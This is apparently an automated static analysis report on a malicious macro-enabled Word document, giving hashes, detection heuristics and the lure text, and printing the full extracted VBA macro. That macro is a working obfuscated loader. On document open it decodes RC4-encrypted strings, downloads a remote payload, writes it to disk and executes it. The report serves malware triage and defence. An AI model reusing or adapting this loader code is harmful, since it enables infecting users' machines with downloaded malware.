Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 95e49703be870e58…

MALICIOUS

Office (OOXML)

34.5 KB Created: 2015-06-24 11:31:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-10-01
MD5: a72c63855bb368202457c2fdc0de8530 SHA-1: dcd59cd9f1178702650ca9087b9cd728a6074a86 SHA-256: 95e49703be870e586d74116968e85765dd577359f824932cb72b35d769621132
360 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an OOXML document containing a VBA macro, identified as malicious by ClamAV (Doc.Malware.Chronos-6897935-0). The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to view the protected document, a common social engineering tactic. The VBA macro itself is heavily obfuscated and uses CreateObject and GetObject calls, indicative of malicious intent to download and execute further payloads. The presence of the 'macros.bas' artifact further supports the macro-based execution.

Heuristics 11

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject 19, 7
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject "QRumpKmmBd", "EwcYJAOm"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject 19, 7
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    O5M0g298BWjPblj = Environ(NzpSbnF0tTwF(LTGtLdmfe6("D106D1C992140B"), "HEnSN34d5Piya4IZ")) & "\" & K1F2Odae7gAe9kt & NzpSbnF0tTwF(LTGtLdmfe6("691E41BC"), "QlSzx68AvzvA")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12481 bytes
SHA-256: 7381c47f9b26ed699f157bb9a44ddb5989301d60b0b90bd21d8881a72dca827c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
92 of 184 identifiers look randomly generated (e.g. 'D701E9FD0CDF160440C9FFD98A34539301') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub UT2lVxGGeo0VLREk3(QrPZ As Long)
Dim MoMo8neU As Long, Nvj9phdNJ As Long
MoMo8neU = 33
Nvj9phdNJ = 77
If MoMo8neU + Nvj9phdNJ > 2 Then
Nvj9phdNJ = MoMo8neU + 90
Else
InputBox 5
End If
Dim QsE6Qar7nhH As Long
Dim NLboM As Long, Nj1pL5UNCknSLR As Long
NLboM = 8
Nj1pL5UNCknSLR = 26
If NLboM + Nj1pL5UNCknSLR > 2 Then
Nj1pL5UNCknSLR = NLboM + 27
Else
InputBox 23
End If
QsE6Qar7nhH = Timer + QrPZ
Do While Timer < QsE6Qar7nhH
DoEvents
Loop
Dim FQG3JouSEr As Long, YUG2BKERumpKmmB As Long
FQG3JouSEr = 23
YUG2BKERumpKmmB = 66
If FQG3JouSEr + YUG2BKERumpKmmB > 2 Then
YUG2BKERumpKmmB = FQG3JouSEr + 90
Else
InputBox 18
End If
End Sub
Sub M9wDgoaeTX3()
Dim E2UgfE As Long, UzLBYgkhB3aIOtgMP As Long
E2UgfE = 64
UzLBYgkhB3aIOtgMP = 69
If E2UgfE + UzLBYgkhB3aIOtgMP > 2 Then
UzLBYgkhB3aIOtgMP = E2UgfE + 9
Else
InputBox 63
End If
Randomize
YbnZHj9 = UCase(24)
GetObject 19, 7
AppActivate 42
NPer 36, 80, 22
Beep
If CDbl(69) = True Then H0lmLWD6j = 80
Choose 73, XDMwILFyUiw
App.LogEvent "KGxODPJl"
LoadPicture 95, 2, 30, 71, 74
QL27aWNmpJXYTR = DateValue(92)
U7N8XjbW3GBEK = CVar(12)
Atn 2
Err.Clear
RdIyQpxjM = CurDir
If CBool(58) = True Then BcQ7IfrEWvZy = 88
DateSerial 24, 63, 88
Hour 68
CreateObject "QRumpKmmBd", "EwcYJAOm"
GrXrkiM1dcoj = Cos(10)
Tan 30
Load GMuy3irEDKAG7JtL
Join XSo2SruPf, 47
TimeValue 48
ChDrive 45
Reset
If CDec(54) = True Then H05tV5iavWBcEMwXB = 26
TimeSerial 12, 26, 84
HuEEGHJbZMLi0Qxs = LCase(10)
Err.Raise 8
Dim NFINxTzR1CHQFlD1RA As Long, X72Yc As Long
NFINxTzR1CHQFlD1RA = 2
X72Yc = 20
If NFINxTzR1CHQFlD1RA + X72Yc > 2 Then
X72Yc = NFINxTzR1CHQFlD1RA + 65
Else
InputBox 55
End If
End Sub
Sub BVYKmATY1Sk()
Dim E4SYh1vU As Long, EZspzHEOl8s As Long
E4SYh1vU = 70
EZspzHEOl8s = 25
If E4SYh1vU + EZspzHEOl8s > 2 Then
EZspzHEOl8s = E4SYh1vU + 88
Else
InputBox 23
End If
Dim O5M0g298BWjPblj As String, Nom1xcv4lW As Object, ArNM As Integer
Dim WrEfs1w74DROcLsM4 As Long, VT8vn8FfejF As Long
WrEfs1w74DROcLsM4 = 41
VT8vn8FfejF = 41
If WrEfs1w74DROcLsM4 + VT8vn8FfejF > 2 Then
VT8vn8FfejF = WrEfs1w74DROcLsM4 + 93
Else
InputBox 10
End If
O5M0g298BWjPblj = Environ(NzpSbnF0tTwF(LTGtLdmfe6("D106D1C992140B"), "HEnSN34d5Piya4IZ")) & "\" & K1F2Odae7gAe9kt & NzpSbnF0tTwF(LTGtLdmfe6("691E41BC"), "QlSzx68AvzvA")
Dim YuhuYuNjqRXV4 As Long, Lw6ULgNCrccZjM As Long
YuhuYuNjqRXV4 = 75
Lw6ULgNCrccZjM = 36
If YuhuYuNjqRXV4 + Lw6ULgNCrccZjM > 2 Then
Lw6ULgNCrccZjM = YuhuYuNjqRXV4 + 53
Else
InputBox 55
End If
Set Nom1xcv4lW = CreateObject(NzpSbnF0tTwF(LTGtLdmfe6("D701E9FD0CDF160440C9FFD98A34539301"), "QkcJhoYEy8i"))
Dim Oph6mJdmof As Long, IGd8dL2izlHD5uqk As Long
Oph6mJdmof = 60
IGd8dL2izlHD5uqk = 9
If Oph6mJdmof + IGd8dL2izlHD5uqk > 2 Then
IGd8dL2izlHD5uqk = Oph6mJdmof + 9
Else
InputBox 61
End If
Nom1xcv4lW.Open NzpSbnF0tTwF(LTGtLdmfe6("8DA4E8"), "YjdTufPN5"), NzpSbnF0tTwF(LTGtLdmfe6("5131C8C93A5EE4460AB8BCA5B14DA715AB6D37625CE5E0EE875644"), "VpNzfbLiI7"), False
Dim HGYnrl3Bl As Long, HI3Cj6S2mkB As Long
HGYnrl3Bl = 18
HI3Cj6S2mkB = 22
If HGYnrl3Bl + HI3Cj6S2mkB > 2 Then
HI3Cj6S2mkB = HGYnrl3Bl + 84
Else
InputBox 23
End If
Nom1xcv4lW.setRequestHeader NzpSbnF0tTwF(LTGtLdmfe6("075429E4420C2413D960"), "HAmTOXdOf"), NzpSbnF0tTwF(LTGtLdmfe6("23954AE47F519BA1FFC5E6"), "GBQC13cQE2A7DK")
Nom1xcv4lW.send
If Nom1xcv4lW.readyState = 4 And Nom1xcv4lW.Status = 200 Then
Dim XjtGHi3fW0vicIZ As Long, BKfl9WWEA As Long
XjtGHi3fW0vicIZ = 33
BKfl9WWEA = 76
If XjtGHi3fW0vicIZ + BKfl9WWEA > 2 Then
BKfl9WWEA = XjtGHi3fW0vicIZ + 45
Else
InputBox 66
End If
ArNM = FreeFile
Open O5M0g298BWjPblj For Binary Access Write Lock Write As #ArNM
Put #ArNM, , NzpSbnF0tTwF(StrConv(Nom1xcv4lW.ResponseBody, vbUnicode), NzpSbnF0tTwF(LTGtLdmfe6("8D993690AE70537D21"), "FYuo35ita"))
Close #ArNM
Dim Xt50fXAwn6FXjO As Long, Di7O35mQk As Long
Xt50fXAwn6FXjO = 78
Di7O35mQk = 66
If Xt50fXAwn6FXjO + Di7O35mQk > 2 Then
Di7O35mQk = Xt50fXAwn6FXjO + 2
Else
InputBox 95
End If
UT2lVxGGeo0VLREk3 1
Dim HQQR56M61xE8Bw As Long, UJ9B4pUM9i As Long
HQQR56M61xE8Bw = 40
UJ9B4pUM9i = 30
If HQQR56M61xE8Bw + UJ9B4pUM9i > 2 Then
UJ9B4pUM9i = HQQR56M61xE8Bw + 86
Else
InputBox 17
End If
CreateObject(NzpSbnF0tTwF(LTGtLdmfe6("149590C94E324D290204D30151"), "MaCO2o86")).exec """" & O5M0g298BWjPblj & """"
Dim Cn7M6vz35mQk As Long, HsDN As Long
Cn7M6vz35mQk = 8
HsDN = 26
If Cn7M6vz35mQk + HsDN > 2 Then
HsDN = Cn7M6vz35mQk + 71
Else
InputBox 61
End If
End If
Dim RIsovz3m57p94 As Long, Eiw0Jpze As Long
RIsovz3m57p94 = 44
Eiw0Jpze = 56
If RIsovz3m57p94 + Eiw0Jpze > 2 Then
Eiw0Jpze = RIsovz3m57p94 + 92
Else
InputBox 9
End If
Set Nom1xcv4lW = Nothing
Dim BlKQtk5FLVFq37q3m As Long, OWLpMWDgpCK As Long
BlKQtk5FLVFq37q3m = 31
OWLpMWDgpCK = 49
If BlKQtk5FLVFq37q3m + OWLpMWDgpCK > 2 Then
OWLpMWDgpCK = BlKQtk5FLVFq37q3m + 68
Else
InputBox 58
End If
End Sub
Function LTGtLdmfe6(WLmggEu4wPuCf6U As String) As String
Dim PpZWiw1uZdc As Long, JcyMl8jUXzYzWowW7 As Long
PpZWiw1uZdc = 94
JcyMl8jUXzYzWowW7 = 6
If PpZWiw1uZdc + JcyMl8jUXzYzWowW7 > 2 Then
JcyMl8jUXzYzWowW7 = PpZWiw1uZdc + 97
Else
InputBox 21
End If
Dim DuWXgdp27trqD As Integer
Dim GeNmc As Long, UjU1G As Long
GeNmc = 87
UjU1G = 25
If GeNmc + UjU1G > 2 Then
UjU1G = GeNmc + 40
Else
InputBox 20
End If
For DuWXgdp27trqD = 1 To Len(WLmggEu4wPuCf6U) Step 2
LTGtLdmfe6 = LTGtLdmfe6 & Chr$(Val(Chr$(38) & Chr$(72) & Mid$(WLmggEu4wPuCf6U, DuWXgdp27trqD, 2)))
Next
Dim QlSBJGU0f As Long, CQHhnogE77d As Long
QlSBJGU0f = 69
CQHhnogE77d = 19
If QlSBJGU0f + CQHhnogE77d > 2 Then
CQHhnogE77d = QlSBJGU0f + 69
Else
InputBox 91
End If
End Function
Function NzpSbnF0tTwF(ByVal Y1ixbJD4zEeQf8L As String, ByVal DHMGldOlgx As String) As String
Dim Nizo32MUrfyUV0G As Long, Tdsrl8orbChF As Long
Nizo32MUrfyUV0G = 32
Tdsrl8orbChF = 31
If Nizo32MUrfyUV0G + Tdsrl8orbChF > 2 Then
Tdsrl8orbChF = Nizo32MUrfyUV0G + 7
Else
InputBox 80
End If
On Error Resume Next
Dim GcSHynE9wAXP As Long, SbLlS As Long
GcSHynE9wAXP = 79
SbLlS = 15
If GcSHynE9wAXP + SbLlS > 2 Then
SbLlS = GcSHynE9wAXP + 82
Else
InputBox 26
End If
Dim MiUfmjWsY(0 To 255) As Integer, MutSZPKUlLX As Long, QnU6ilN As Long, WRY09SnfNN As Long, PqeMkDOpXZU1Fo() As Byte, Je11ZTWenE() As Byte, VVAjjMRYZ As Byte
Dim XLirfX As Long, EahZ2OFGnyc As Long
XLirfX = 91
EahZ2OFGnyc = 25
If XLirfX + EahZ2OFGnyc > 2 Then
EahZ2OFGnyc = XLirfX + 97
Else
InputBox 6
End If
PqeMkDOpXZU1Fo() = StrConv(DHMGldOlgx, vbFromUnicode)
Dim AJnT9PXLP2Y00 As Long, IcUdwApr As Long
AJnT9PXLP2Y00 = 22
IcUdwApr = 60
If AJnT9PXLP2Y00 + IcUdwApr > 2 Then
IcUdwApr = AJnT9PXLP2Y00 + 20
Else
InputBox 66
End If
For MutSZPKUlLX = 0 To 255
MiUfmjWsY(MutSZPKUlLX) = MutSZPKUlLX
Next MutSZPKUlLX
MutSZPKUlLX = 0
QnU6ilN = 0
WRY09SnfNN = 0
For MutSZPKUlLX = 0 To 255
QnU6ilN = (QnU6ilN + MiUfmjWsY(MutSZPKUlLX) + PqeMkDOpXZU1Fo(MutSZPKUlLX Mod Len(DHMGldOlgx))) Mod 256
VVAjjMRYZ = MiUfmjWsY(MutSZPKUlLX)
MiUfmjWsY(MutSZPKUlLX) = MiUfmjWsY(QnU6ilN)
MiUfmjWsY(QnU6ilN) = VVAjjMRYZ
Next MutSZPKUlLX
MutSZPKUlLX = 0
QnU6ilN = 0
WRY09SnfNN = 0
Je11ZTWenE() = StrConv(Y1ixbJD4zEeQf8L, vbFromUnicode)
For MutSZPKUlLX = 0 To Len(Y1ixbJD4zEeQf8L)
QnU6ilN = (QnU6ilN + 1) Mod 256
WRY09SnfNN = (WRY09SnfNN + MiUfmjWsY(QnU6ilN)) Mod 256
VVAjjMRYZ = MiUfmjWsY(QnU6ilN)
MiUfmjWsY(QnU6ilN) = MiUfmjWsY(WRY09SnfNN)
MiUfmjWsY(WRY09SnfNN) = VVAjjMRYZ
Je11ZTWenE(MutSZPKUlLX) = Je11ZTWenE(MutSZPKUlLX) Xor (MiUfmjWsY((MiUfmjWsY(QnU6ilN) + MiUfmjWsY(WRY09SnfNN)) Mod 256))
Next MutSZPKUlLX
Dim XPWzrQQmzax0Nr2 As Long, YXSLVumtVMR As Long
XPWzrQQmzax0Nr2 = 87
YXSLVumtVMR = 38
If XPWzrQQmzax0Nr2 + YXSLVumtVMR > 2 Then
YXSLVumtVMR = XPWzrQQmzax0Nr2 + 59
Else
InputBox 48
End If
NzpSbnF0tTwF = StrConv(Je11ZTWenE, vbUnicode)
Dim Y7e4BKmxSnVe7v As Long, UZsXIQlqgYZyWc As Long
Y7e4BKmxSnVe7v = 84
UZsXIQlqgYZyWc = 32
If Y7e4BKmxSnVe7v + UZsXIQlqgYZyWc > 2 Then
UZsXIQlqgYZyWc = Y7e4BKmxSnVe7v + 43
Else
InputBox 36
End If
End Function
Function K1F2Odae7gAe9kt() As String
Dim CMVVBHyfHWhPg3 As Long, OCWte48zp As Long
CMVVBHyfHWhPg3 = 50
OCWte48zp = 62
If CMVVBHyfHWhPg3 + OCWte48zp > 2 Then
OCWte48zp = CMVVBHyfHWhPg3 + 15
Else
InputBox 94
End If
Dim IATxzRn8() As Byte, GKai3S0NCvRE() As Byte, JITwm As Long, PqPZNDOPgVmwy3853 As Long, KemFwF As String, EamvkGeI As String, OGE As Long
Dim OIOXts51Vm As Long, HKswmgVLaqN5VF As Long
OIOXts51Vm = 64
HKswmgVLaqN5VF = 21
If OIOXts51Vm + HKswmgVLaqN5VF > 2 Then
HKswmgVLaqN5VF = OIOXts51Vm + 51
Else
InputBox 86
End If
OGE = 0
Dim ClUrM As Long, Wzpd0e As Long
ClUrM = 35
Wzpd0e = 34
If ClUrM + Wzpd0e > 2 Then
Wzpd0e = ClUrM + 64
Else
InputBox 45
End If
QE5ziR0nvOIj:
Dim WLlnFsz4vWSrlhA As Long, De5TuiBlhp6 As Long
WLlnFsz4vWSrlhA = 37
De5TuiBlhp6 = 55
If WLlnFsz4vWSrlhA + De5TuiBlhp6 > 2 Then
De5TuiBlhp6 = WLlnFsz4vWSrlhA + 74
Else
InputBox 64
End If
Randomize
EamvkGeI = Int(30 * Rnd)
If EamvkGeI < 4 Then GoTo QE5ziR0nvOIj
OGE = EamvkGeI
If OGE > 0& Then
Dim VhasnVva As Long, Si7fxKOu As Long
VhasnVva = 28
Si7fxKOu = 56
If VhasnVva + Si7fxKOu > 2 Then
Si7fxKOu = VhasnVva + 71
Else
InputBox 73
End If
KemFwF = NzpSbnF0tTwF(LTGtLdmfe6("DAF84007EA153A26C441"), "U7PvLfiT0a")
Randomize
IATxzRn8 = KemFwF
JITwm = Len(KemFwF) - 1&
OGE = (OGE * 2&) - 1&
ReDim GKai3S0NCvRE(OGE) As Byte
Dim B9vvkh As Long, JCIknOdKeNIOXts As Long
B9vvkh = 59
JCIknOdKeNIOXts = 9
If B9vvkh + JCIknOdKeNIOXts > 2 Then
JCIknOdKeNIOXts = B9vvkh + 86
Else
InputBox 81
End If
For PqPZNDOPgVmwy3853 = 0& To OGE Step 2&
GKai3S0NCvRE(PqPZNDOPgVmwy3853) = IATxzRn8(CLng(JITwm * Rnd) * 2&)
Next
Dim UVXRVjPm6 As Long, Ovnb2Q7Z3n As Long
UVXRVjPm6 = 44
Ovnb2Q7Z3n = 81
If UVXRVjPm6 + Ovnb2Q7Z3n > 2 Then
Ovnb2Q7Z3n = UVXRVjPm6 + 42
Else
InputBox 87
End If
End If
Dim QmIOXts As Long, HcNaiWCJ3u2h0va As Long
QmIOXts = 55
HcNaiWCJ3u2h0va = 74
If QmIOXts + HcNaiWCJ3u2h0va > 2 Then
HcNaiWCJ3u2h0va = QmIOXts + 64
Else
InputBox 21
End If
K1F2Odae7gAe9kt = GKai3S0NCvRE
Dim PP0YbIPC As Long, U9BHm As Long
PP0YbIPC = 53
U9BHm = 65
If PP0YbIPC + U9BHm > 2 Then
U9BHm = PP0YbIPC + 57
Else
InputBox 79
End If
End Function
Sub Document_Open()
Dim TJ3u2h0va8JQL As Long, SvwNI1suwap As Long
TJ3u2h0va8JQL = 69
SvwNI1suwap = 44
If TJ3u2h0va8JQL + SvwNI1suwap > 2 Then
SvwNI1suwap = TJ3u2h0va8JQL + 18
Else
InputBox 70
End If
Dim HcAhnmMRBmS8RD As Long, L8534ZR0Bf7F As Long, Hm2K1DxRPD5MnwXP As Long
Dim YHQMd6XbTCJPKh7U As Long, PmbVJL3P8 As Long
YHQMd6XbTCJPKh7U = 20
PmbVJL3P8 = 91
If YHQMd6XbTCJPKh7U + PmbVJL3P8 > 2 Then
PmbVJL3P8 = YHQMd6XbTCJPKh7U + 23
Else
InputBox 30
End If
HcAhnmMRBmS8RD = 994673558: L8534ZR0Bf7F = 0: Hm2K1DxRPD5MnwXP = 0
Dim R52Wk4 As Long, FgxohIdODXUl As Long
R52Wk4 = 93
FgxohIdODXUl = 98
If R52Wk4 + FgxohIdODXUl > 2 Then
FgxohIdODXUl = R52Wk4 + 82
Else
InputBox 31
End If
For L8534ZR0Bf7F = 1 To HcAhnmMRBmS8RD
Hm2K1DxRPD5MnwXP = Hm2K1DxRPD5MnwXP + 1
Next L8534ZR0Bf7F
Dim Dwa7rYDIE7 As Long, EK1k5i29Ujcmn As Long
Dwa7rYDIE7 = 54
EK1k5i29Ujcmn = 61
If Dwa7rYDIE7 + EK1k5i29Ujcmn > 2 Then
EK1k5i29Ujcmn = Dwa7rYDIE7 + 67
Else
InputBox 51
End If
If Hm2K1DxRPD5MnwXP = HcAhnmMRBmS8RD Then
Dim DrRtM8FRTg As Long, IUKdCGHG As Long
DrRtM8FRTg = 73
IUKdCGHG = 43
If DrRtM8FRTg + IUKdCGHG > 2 Then
IUKdCGHG = DrRtM8FRTg + 8
Else
InputBox 13
End If
BVYKmATY1Sk
Dim WnCmXvJP As Long, DcJ9IiBo As Long
WnCmXvJP = 68
DcJ9IiBo = 59
If WnCmXvJP + DcJ9IiBo > 2 Then
DcJ9IiBo = WnCmXvJP + 60
Else
InputBox 57
End If
Else
Dim OfovYqeX As Long, SFrRtM8F As Long
OfovYqeX = 87
SFrRtM8F = 2
If OfovYqeX + SFrRtM8F > 2 Then
SFrRtM8F = OfovYqeX + 59
Else
InputBox 84
End If
M9wDgoaeTX3
Dim LJlLm5mdEmX1Tr As Long, SHGwuHorf6WS As Long
LJlLm5mdEmX1Tr = 58
SHGwuHorf6WS = 63
If LJlLm5mdEmX1Tr + SHGwuHorf6WS > 2 Then
SHGwuHorf6WS = LJlLm5mdEmX1Tr + 47
Else
InputBox 95
End If
End If
Dim BwIYbweknM As Long, EeqjPJFeOUgLXY As Long
BwIYbweknM = 19
EeqjPJFeOUgLXY = 9
If BwIYbweknM + EeqjPJFeOUgLXY > 2 Then
EeqjPJFeOUgLXY = BwIYbweknM + 65
Else
InputBox 68
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 35328 bytes
SHA-256: dee8460d11788091e0b64a3b2d4021936105aa41c072f7303cc9a1f4719170da
Detection
ClamAV: Doc.Malware.Chronos-6897935-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.